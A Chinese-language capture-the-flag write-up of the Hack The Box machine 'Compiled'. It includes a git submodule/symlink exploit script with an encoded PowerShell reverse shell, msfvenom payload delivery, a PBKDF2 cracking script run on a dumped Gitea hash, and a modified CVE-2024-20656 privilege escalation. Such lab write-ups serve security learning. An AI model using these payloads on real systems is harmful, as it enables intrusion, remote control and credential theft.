HacktheBox-Compiled

这个后半部分提权确实有点费劲,主要没有编译环境,后面来回装了几次。

信息搜集

先扫下

1
fscan -h 10.10.11.26 -np -p 1-65535
1
2
3
4
5
6
7
8
9
10
11
12
13
14
start infoscan
10.10.11.26:110 open
10.10.11.26:25 open
10.10.11.26:3000 open
10.10.11.26:5000 open
10.10.11.26:5985 open
10.10.11.26:7680 open
[*] alive ports len is: 6
start vulscan
[*] WebTitle: http://10.10.11.26:5985 code:404 len:315 title:Not Found
[*] WebTitle: http://10.10.11.26:5000 code:200 len:5234 title:Compiled - Code Compiling Services
[*] WebTitle: http://10.10.11.26:3000 code:200 len:13898 title:Git
[+] InfoScan:http://10.10.11.26:3000 [Gitea简易Git服务]
已完成 6/6

http://10.10.11.26:3000

上来就是一个 git 服务
里面有几个源码,注意到有和靶机名称相同的库Compiled
Clip_2024-08-03_15-18-43.png
根据内容可以判断出来是将 Github 的仓库自动编译。
首先创建一个公开 repo 仓库。
在本地创建仓库,然后上传到自己的 repo 里面。
审一下:
Clip_2024-08-03_15-53-16.png
将上传内容先 clone 到本地,然后编译那些设置内容这里并没有写。
额看了下 wp,是用一个 repo 调用另一个 repo 然后编译出的。

Compiled/1.sh at main · SrcVme50/Compiled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main

rm -rf repo1
rm -rf repo2

git clone http://10.10.11.26:3000/natro92/repo1.git
cd repo1
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANAAyACIALAA5ADIAOQAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..

git clone http://10.10.11.26:3000/natro92/repo2.git
cd repo2
git submodule add --name x/y "http://10.10.11.26:3000/natro92/repo1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push

设置 git 参数:

1
2
3
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main

先创建两个 repo1 和 repo2,然后 pull 到本地。
修改 poc。这个反弹 shell 是直接生成的:

revShell

Clip_2024-08-03_16-39-52.png

1
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA5ACIALAA5ADIAOQAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

按照要求写入y/hooks/post-checkout文件,然后添加操作权限再上传。
Clip_2024-08-03_16-43-26.png
然后按照要求把后面这部分也操作下来,但是其中的意思我们分析一下。

  1. git submodule add --name x/y "http://gitea.compiled.htb:3000/xxxxxxxxxx/repo1.git" A/modules/x
    • 这条命令用于向当前的 Git 仓库添加一个子模块。
    • --name x/y 为子模块指定了一个名称 x/y
    • 后面的 URL 是子模块的远程仓库地址。
    • A/modules/x 是子模块在本地的存放路径。
  2. git commit -m "add-submodule"
    • 提交当前的更改,并添加了一条提交消息 “add-submodule” 。
  3. printf ".git" > dotgit.txt
    • 这行命令使用 printf 命令将字符串 “.git” 输出到一个名为 dotgit.txt 的文件中。
  4. git hash-object -w --stdin < dotgit.txt > dot-git.hash
    • 计算 dotgit.txt 文件内容的哈希值,并将结果输出到 dot-git.hash 文件中。
    • 如果计算出的哈希值在 Git 对象数据库中不存在,会将其写入数据库。
  5. printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
    • 再次使用 printf 命令,结合前面计算得到的哈希值,生成一些特定格式的内容,并输出到 index.info 文件中。
  6. git update-index --index-info < index.info
    • 根据 index.info 文件中的信息更新 Git 的索引。

的按照要求操作之后,我们再到编译这里导入 URL。
如果一旦出问题就得从新操作。

USER

等待一会才能弹到 shell。
Clip_2024-08-03_17-19-22.png
用 MSF 生成 Shell:

1
2
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.10.16.19 lport=9295 -f exe > shell.
python3 -m http.server 80

然后让靶机下载:

1
curl 10.10.16.19/shell.exe -O shell.exe

Clip_2024-08-03_18-09-10.png
然后运行连接。
访问 Gitea 的 data 目录:

1
C:\Program Files\Gitea\data

下载 gitea.db 文件

1
download gitea.db

user 表中发现数据内容:
Clip_2024-08-03_18-21-04.png
发现用户 emily,随后验证发现确实存在:
Clip_2024-08-03_18-22-30.png
然后用爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
import binascii

def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
hash_value = hashlib.pbkdf2_hmac(
'sha256', # hashing algorithm
password.encode('utf-8'), # password
salt, # salt
iterations, # number of iterations
dklen=dklen # key length
)
return hash_value

def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):

target_hash_bytes = binascii.unhexlify(target_hash)


with open(dictionary_file, 'r', encoding='utf-8') as file:
for line in file:

password = line.strip()

# generating hash
hash_value = pbkdf2_hash(password, salt, iterations, dklen)

# Check if hash is correct
if hash_value == target_hash_bytes:
print(f"Found password: {password}")
return password

print("Password not found.")
return None

# Parameters
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486') # Salt from gitea.db
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' # hash from gitea.db

# Patch to dictionary
dictionary_file = '/usr/share/wordlists/rockyou.txt'

find_matching_password(dictionary_file, target_hash, salt)

爆破出结果为12345678
登录

1
evil-winrm -i 10.10.11.26 -u emily -p 12345678

Clip_2024-08-03_18-26-24.png
user 文件在桌面。

SYSTEM

使用的是:CVE-2024-20656

CVE-2024-20656 - Local Privilege Escalation in the VSStandardCollectorService150 Service - MDSec
GitHub - Wh04m1001/CVE-2024-20656

一个 VS 的提权漏洞。将文件 clone 到本地。
先将第四行 VSD 的路径修改了:

1
C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe

也就是对应路径。再修改 187 行 CopyFile 的位置(注意对应你自己的第二个 Shell 的位置。)

1
CopyFile(L"c:\\Nat\\shell2.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

Clip_2024-08-03_18-36-21.png
然后编译生成文件。
Clip_2024-08-03_19-30-44.png
这还用了个 runascs 这个工具。

Release RunasCs version 1.5 · antonioCoco/RunasCs

1
./runascs.exe emily 12345678 C:\tmp\Expl.exe

Clip_2024-08-03_21-10-50.png
Clip_2024-08-03_21-10-30.png
反弹 shell
Clip_2024-08-03_21-18-47.png
Clip_2024-08-03_21-20-53.png